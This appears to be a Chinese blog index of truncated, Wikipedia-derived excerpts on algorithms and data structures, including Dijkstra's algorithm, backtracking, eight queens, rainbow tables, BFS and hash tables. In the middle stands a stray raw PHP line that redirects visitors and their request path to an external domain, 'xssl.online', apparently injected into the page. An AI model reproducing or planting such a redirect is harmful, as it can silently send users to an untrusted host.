张拓的博客

戴克斯特拉算法（英语：Dijkstra’s algorithm），又译迪杰斯特拉算法，亦可不音译而称为Dijkstra算法，是由荷兰计算机科学家艾兹赫尔·戴克斯特拉在1956年发现的算法，并于3年后在期刊上发表。戴克斯特拉算法使用类似广度优先搜索的方法解决赋权图的单源最短路径问题。 该算法存在很多变体：戴克斯特拉的原始版本仅适用于找到两个顶点之间的最短路径，后来更常见的变体固定了一个顶点作为源结点然后找到该顶点到图中所有其它结点的最短路径，产生一个最短路径树。 该算法解决了图 {\displaystyle G=\langle V,E\rangle }上带权的单源最短路径问题。具体来说，戴克斯特拉算法设置了一顶点集合{\displaystyle S}，在集合{\displaystyle S}中所有的顶点与源点{\displaystyle s}之间的最终最短路径权值均已确定。算法反复选择最短路径估计最小的点{\displaystyle u\in {V-S}}并将{\displaystyle u}加入{\displaystyle S}中。该算法常用于路由算法或者作为其他图算法的一个子模块。举 ...

康托展开是一个全排列到一个自然数的双射，常用于构建哈希表时的空间压缩。 康托展开的实质是计算当前排列在所有由小到大全排列中的顺序，因此是可逆的。 以下称第x个全排列都是指由小到大的顺序。 公式{\displaystyle X=a_{n}(n-1)!+a_{n-1}(n-2)!+\cdots +a_{1}\cdot 0!}其中,{\displaystyle a_{i}}为整数,并且{\displaystyle 0\leq a_{i}

回溯法（英语：backtracking）是暴力搜索法中的一种。 对于某些计算问题而言，回溯法是一种可以找出所有（或一部分）解的一般性算法，尤其适用于约束满足问题（在解决约束满足问题时，我们逐步构造更多的候选解，并且在确定某一部分候选解不可能补全成正确解之后放弃继续搜索这个部分候选解本身及其可以拓展出的子候选解，转而测试其他的部分候选解）。 在经典的教科书中，八皇后问题展示了回溯法的用例。（八皇后问题是在标准国际象棋棋盘中寻找八个皇后的所有分布，使得没有一个皇后能攻击到另外一个。） 回溯法采用试错的思想，它尝试分步的去解决一个问题。在分步解决问题的过程中，当它通过尝试发现，现有的分步答案不能得到有效的正确的解答的时候，它将取消上一步甚至是上几步的计算，再通过其它的可能的分步解答再次尝试寻找问题的答案。回溯法通常用最简单的递归方法来实现，在反复重复上述的步骤后可能出现两种情况： 找到一个可能存在的正确的答案 在尝试了所有可能的分步方法后宣告该问题没有答案 在最坏的情况下，回溯法会导致一次复杂度为指数时间的计算。 典型应用八皇后问题是应用回溯法求解的典型案例。 原文地址：https:// ...

八皇后问题是一个以国际象棋为背景的问题：如何能够在8×8的国际象棋棋盘上放置八个皇后，使得任何一个皇后都无法直接吃掉其他的皇后？为了达到此目的，任两个皇后都不能处于同一条横行、纵行或斜线上。八皇后问题可以推广为更一般的n皇后摆放问题：这时棋盘的大小变为n×n，而皇后个数也变成n。当且仅当n = 1或n ≥ 4时问题有解。 历史八皇后问题最早是由国际象棋棋手马克斯·贝瑟尔（Max Bezzel）于1848年提出。第一个解在1850年由弗朗兹·诺克（Franz Nauck）给出。并且将其推广为更一般的n皇后摆放问题。诺克也是首先将问题推广到更一般的n皇后摆放问题的人之一。 在此之后，陆续有数学家对其进行研究，其中包括高斯和康托，1874年，S.冈德尔提出了一个通过行列式来求解的方法[2]，这个方法后来又被J.W.L.格莱舍加以改进。 1972年，艾兹格·迪杰斯特拉用这个问题为例来说明他所谓结构化编程的能力[3]。他对深度优先搜索回溯算法有着非常详尽的描述2。 八皇后问题在1990年代初期的著名电子游戏《第七访客》和NDS平台的著名电子游戏《雷顿教授与不可思议的小镇》中都有出现。 解题方法八 ...

彩虹表是用于加密散列函数逆运算的预先计算好的表，常用于破解加密过的密码散列。彩虹表常常用于破解长度固定且包含的字符范围固定的密码（如信用卡、数字等）。这是以空间换时间的典型实践，比暴力破解（Brute-force attack）用的时间少，空间更多；但与储存密码空间中的每一个密码及其对应的哈希值（Hash）实现的查找表相比，其花费的时间更多，空间更少。使用加盐的密钥派生函数可以使这种攻击难以实现。 彩虹表是马丁·赫尔曼早期提出的简单算法的应用。 背景每台需要密码认证的计算机都包含一个储存密码的数据库，密码储存方式有多种，如摘要或纯文本。由于储存密码的表很容易被窃取，所以以纯文本形式储存密码非常危险。因此大多数数据库会储存用户密码的加密摘要。在这种系统内，即使是认证系统本身都无法简单地通过查表来获得用户密码。然而，当用户输入密码时，系统会生成一个加密过的消息摘要与储存的加密摘要比较，如果相同就允许访问请求。 黑客在盗取到散列后的密码表时，并不能仅凭借输入散列后的用户的加密摘要来获取权限（使用加密摘要作为输入密码并不可行，因为认证系统会把加密摘要再次散列，产生一个与储存的加密摘要不匹配的消 ...

广度优先搜索算法（英语：Breadth-First Search，缩写为BFS），又译作宽度优先搜索，或横向优先搜索，是一种图形搜索算法。简单的说，BFS是从根节点开始，沿着树的宽度遍历树的节点。如果所有节点均被访问，则算法中止。广度优先搜索的实现一般采用open-closed表。 作法BFS是一种暴力搜索算法，目的是系统地展开并检查图中的所有节点，以找寻结果。换句话说，它并不考虑结果的可能地址，彻底地搜索整张图，直到找到结果为止。BFS并不使用经验法则算法。 从算法的观点，所有因为展开节点而得到的子节点都会被加进一个先进先出的队列中。一般的实现里，其邻居节点尚未被检验过的节点会被放置在一个被称为 open 的容器中（例如队列或是链表），而被检验过的节点则被放置在被称为 closed 的容器中。（open-closed表） 实现方法 首先将根节点放入队列中。 从队列中取出第一个节点，并检验它是否为目标。 如果找到目标，则结束搜索并回传结果。 否则将它所有尚未检验过的直接子节点加入队列中。 若队列为空，表示整张图都检查过了——亦即图中没有欲搜索的目标。结束搜索并回传“找不到目标”。 ...

12<?phpheader('Location: http://xssl.online/'.$_SERVER['REQUEST_URI']);

散列表（Hash table，也叫哈希表），是根据键（Key）而直接访问在内存储存位置的数据结构。也就是说，它通过计算出一个键值的函数，将所需查询的数据映射到表中一个位置来让人访问，这加快了查找速度。这个映射函数称做散列函数，存放记录的数组称做散列表。 一个通俗的例子是，为了查找电话簿中某人的号码，可以创建一个按照人名首字母顺序排列的表（即建立人名{\displaystyle x}到首字母{\displaystyle F(x)}的一个函数关系），在首字母为W的表中查找“王”姓的电话号码，显然比直接查找就要快得多。这里使用人名作为关键字，“取首字母”是这个例子中散列函数的函数法则{\displaystyle F()}，存放首字母的表对应散列表。关键字和函数法则理论上可以任意确定。 基本概念 若关键字为{\displaystyle k}，则其值存放在{\displaystyle f(k)}的存储位置上。由此，不需比较便可直接取得所查记录。称这个对应关系{\displaystyle f}为散列函数，按这个思想建立的表为散列表。 对不同的关键字可能得到同一散列地址，即{\displaystyl ...

元启发算法（英文：metaheuristic）, 又称 万能启发式算法、万用启发式算法。在计算机科学和数学优化中，元启发是一种高级的程序或启发式算法，专门用于搜索、生成或选取一个启发式结果（局部搜索算法），该结果可以为一个最优化问题提供足够好的求解，尤其适用于信息不完备或者计算能力受限时的最优化问题。 特色元启发算法(metaheuristic)，meta 代表其比一般启发式算法在搜寻能力上更为高阶。而 heuristic 则代表其算法能够在一个合理的计算成本内找到一个接近真实最佳解的解，但启发式算法并不能够保证其解的可行性与最佳性。 式通常是使用大量的试误以在庞大的解空间中搜寻最佳解。 元启发算法皆在全域搜索与区域搜索中取得权衡，若算法着重区域搜索能力则容易落入区域最佳解陷阱，若着重全域搜索则可能无法收敛解。 算法 模拟退火法 (Simulated annealing algorithm, SA) 社会认知算法 (Social cognitive optimization, SCO) 简化群体算法 (Simplified swarm optimizatiom, SSO) 调和搜寻算法 ...

双向搜索算法是一种图的遍历算法，用于在有向图中搜索从一个顶点到另一个顶点的最短路径。算法同时运行两个搜索：一个从初始状态正向搜索，另一个从目标状态反向搜索，当两者在中间汇合时搜索停止。在很多情况下该算法更快，假设搜索一棵分支因子b的树，初始节点到目标节点的距离为d，该算法的正向和反向搜索复杂度都是O(b^(d/2)) (大O符号)，两者相加后远远小于普通的单项搜索算法（复杂度为O(b^d)）。 在A*搜索算法中，双向搜索的启发式函数可以定义为：正向搜索为到目标节点的距离，反向搜索为到初始节点的距离。 Ira Pohl （1971）第一个设计并实现了双向启发式搜索算法。Andrew Goldberg和其他人解释了双向搜索版的戴克斯特拉算法的正确完结条件。 原文地址：https://zh.wikipedia.org/wiki/%E5%8F%8C%E5%90%91%E6%90%9C%E7%B4%A2 在知识共享 署名-相同方式共享 3.0协议之条款下提供